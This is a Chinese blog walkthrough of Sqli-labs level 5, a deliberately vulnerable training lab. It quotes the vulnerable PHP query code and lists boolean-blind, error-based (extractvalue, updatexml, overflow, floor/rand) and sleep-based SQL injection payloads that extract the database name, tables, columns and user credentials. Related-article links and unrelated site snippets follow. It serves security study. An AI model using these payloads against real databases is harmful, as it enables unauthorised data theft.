第五关(双注入GET单引号字符型注入-报错时间注入)

盲注
盲注,Blind SQL Injection
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注

核心代码:(不会返回数据库中的数据)

 1 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2 $result=mysql_query($sql);
3 $row = mysql_fetch_array($result);
4 if($row)
5 {
6 echo '<font size="5" color="#FFFF00">';
7 echo 'You are in...........';
8 echo "<br>";
9 echo "</font>";
10 }
11 else
12 {
13
14 echo '<font size="3" color="#FFFF00">';
15 print_r(mysql_error());
16 echo "</br></font>";
17 echo '<font color= "#0000ff" font size= 3>';
18
19 }
20 }
21 else { echo "Please input the ID as parameter with numeric value";}
 1 1.探测PHP版本号
2 id=1' and left(version(),1)=5%23
3
4 2.探测数据库长度
5 id=1' and length(database())=8%23
6 探测数据库名(采用二分法)
7 id=1' and left(database(),1)>'a'%23
8 id=1' and left(database(),1)='s'%23
9 id=1' and left(database(),2)>'se'%23
10 id=1' and left(database(),2)='se'%23
11 id=1' and left(database(),3)>'sec'%23
12 id=1' and left(database(),3)='sec'%23
13 ........
14 id=1' and left(database(),8)='security'%23
15
16
17 3.获取表名
18 substr() ascii()函数进行尝试
19 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>82%23
20 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
21 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
22 ...
23 逐步测试得出表名为:email
24 想获取第二个表替换limit 后面的值即可第二张表就是limit 1,1
25 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113%23
26
27
28 4.获取urser中的列
29 利用regexp获取
30 通过regexp检测是否有us**列
31 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+'
32 通过regexp检测而是否有username开头的列
33 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
34
35 5.获取列中的内容
36 利用ord()和mid()函数获取users表的内容
37 IFNULL()用于判断第一个表达式是否为NULL 如果是返回第二个 否则返回第一个
38 CAST()把一个字段转成另一个字段
39 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
40 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
41 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
42 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=68--+
43 最后爆出 Dumb

第二种方法:报错注入

 1 id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
2
3 数值类型超出范围进行报错注入
4 id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
5
6 利用bigint溢出进行报错注入
7 id=1' union select (!(select * from (select user())x) - ~0),2,3--+
8
9 xpath函数报错注入
10 id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
11
12 id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
13
14 利用数据的重复性
15 id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

第三种:sleep延迟注入

sleep注入是另一种形式的盲注,与bool注入不同,sleep注入没有任何报错信息输出,页面返回不管对或者错都是一种状态,
攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确,只能通过构造sleep注入的SQL测试语句,根据页面的返回时间判断数据库中存储了那些信息
判断是否是时间延迟型的注入

 1 ' and sleep(5)--+
2 爆数据库长度
3 ' and if(length(database())=8,sleep(5),1)--+
4 爆数据库名
5 ' and if(ascii(substr(database(),1,1))>5,sleep(5),1)--+
6 OR
7 ' and if(left(database(),1)='s',sleep(5),1)--+
8 爆判断数据库表数量
9 ' and if((select count(*) from information_schema.tables where table_schema=database())>1,sleep(5),1)--+
10 爆表名
11 ' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1)--+
12 OR
13 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
14 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='e' --+
15 判断字段数量
16 ' and if((select count(*) from information_schema.columns where table_name='users')>1,sleep(5),1)--+
17 判断字段名
18 ' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'--+
19 爆字段下的数据
20 ' and left((select password from users limit 0,1),1)='D' --+

附:ASCII转换:https://www.qqxiuzi.cn/bianma/ascii.htm
参考学习:https://www.cnblogs.com/lcamry/articles/5717442.html
https://www.cnblogs.com/lcamry/p/6122257.html

重闯Sqli-labs关卡第二天(5关)的更多相关文章

  1. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  2. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  3. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  4. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  5. SQL注入之Sqli-labs系列第二十九关(基于WAF防护的单引号报错注入)

    开始挑战第二十九关(Protection with WAF) 0x1查看源码 (1)login.php页面存在防护,只要检测到存在问题就跳转到hacked.php页面(其他信息看备注) 0x2 for ...

  6. SQL注入之Sqli-labs系列第二十八关(过滤空格、注释符、union select)和第二十八A关

    开始挑战第二十八关(Trick with SELECT & UNION) 第二十八A关(Trick with SELECT & UNION) 0x1看看源代码 (1)与27关一样,只是 ...

  7. SQL注入之Sqli-labs系列第二十六关(过滤空格、注释符、逻辑运算符注入)和第二十六A

    开始挑战第二十六关(Trick with comments and space) 0x1看看源代码 (1)过滤了#  or and  /**/  /  \ ,通过判断也过滤了空格 (2)这样一来只能看 ...

  8. SQL注入之Sqli-labs系列第二十五关(过滤 OR & AND)和第二十五A关(过滤逻辑运算符注释符)

    开始挑战第二十五关(Trick with OR & AND) 第二十五关A(Trick with comments) 0x1先查看源码 (1)这里的or和and采用了i正则匹配,大小写都无法绕 ...

  9. SQL注入之Sqli-labs系列第二十四关(二阶注入)

    开始挑战第二十四关(Second Degree Injections) 0x1 前言 SQL注入一般分为两类:一阶SQL注入(普通SQL注入),二阶SQL注入 .二次注入不是注入两次的意思,请不要混淆 ...

随机推荐

  1. 构建调试Linux内核网络的环境Menuos系统

    一.Linux内核源码下载 下载网址为:https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.0.1.tar.xz 下载完成后放入home/Menu ...

  2. linux设置systemctl 启动脚本

    centos 7 服务的systemctl 脚本一般存在:/usr/lib/systemd目录.目录下又分为system,和user之分, /usr/lib/systemd/system #系统服务, ...

  3. 《Head First 设计模式》:剩下的模式

    正文 一.桥接模式 1.定义 桥接模式通过将实现和抽象分离开来,放在两个不同的类层次中,从而使得它们可以独立改变. 要点: 当一个类存在两个独立变化的维度,而且都需要进行扩展时,可以将其中一个维度抽象 ...

  4. MFiX-DEM中的串行碰撞搜索

    在计算颗粒碰撞的时候,需要进行neighbor颗粒的搜寻,只知道大概是基于网格与颗粒绑定的方式,但是具体的实现方式还是比较模糊.搜寻部分代码如下 (mfix-19.2.2): 可以直接观察到的是,这里 ...

  5. Libevent库基础(1)

    1.创建 eevent_base struct event_base *base = event_base_new(); 2.创建 事件event struct event *ev; struct e ...

  6. centos8 curl: (35) error:141A318A:SSL routines:tls_process_ske_dhe:dh key too small

    centos8操作系统,curl -k https:/www.xxx.com 报错  curl: (35) error:141A318A:SSL routines:tls_process_ske_dh ...

  7. Learn day1 变量/数据类型

    1.Python 简介 (1) 1989年开发的语言,创始人范罗苏姆(Guido van Rossum),别称:龟叔(Guido). (2) python具有非常多并且强大的第三方库,使得程序开发起来 ...

  8. (2)ASP.NET Core3.1 Ocelot路由

    1.路由 前一个章节我们已经介绍过Ocelot,相信大家也了解到,Ocelot的主要功能是接收客户端等传入的HTTP请求,并将其转发到下游服务.Ocelot当前仅以另一个http请求的形式支持此功能( ...

  9. Docker(7)- docker images 命令详解

    如果你还想从头学起 Docker,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1870863.html 作用 列出所有的本地镜像 语法格 ...

  10. expect ':' at 0, actual = (JSON转化异常解决)

    这个报错我的问题主要是前端得到的JSON格式不是标准的JSON串,所以会报这个错, 解决办法 需要使用JSON.toJSONString()转换为标准的字符串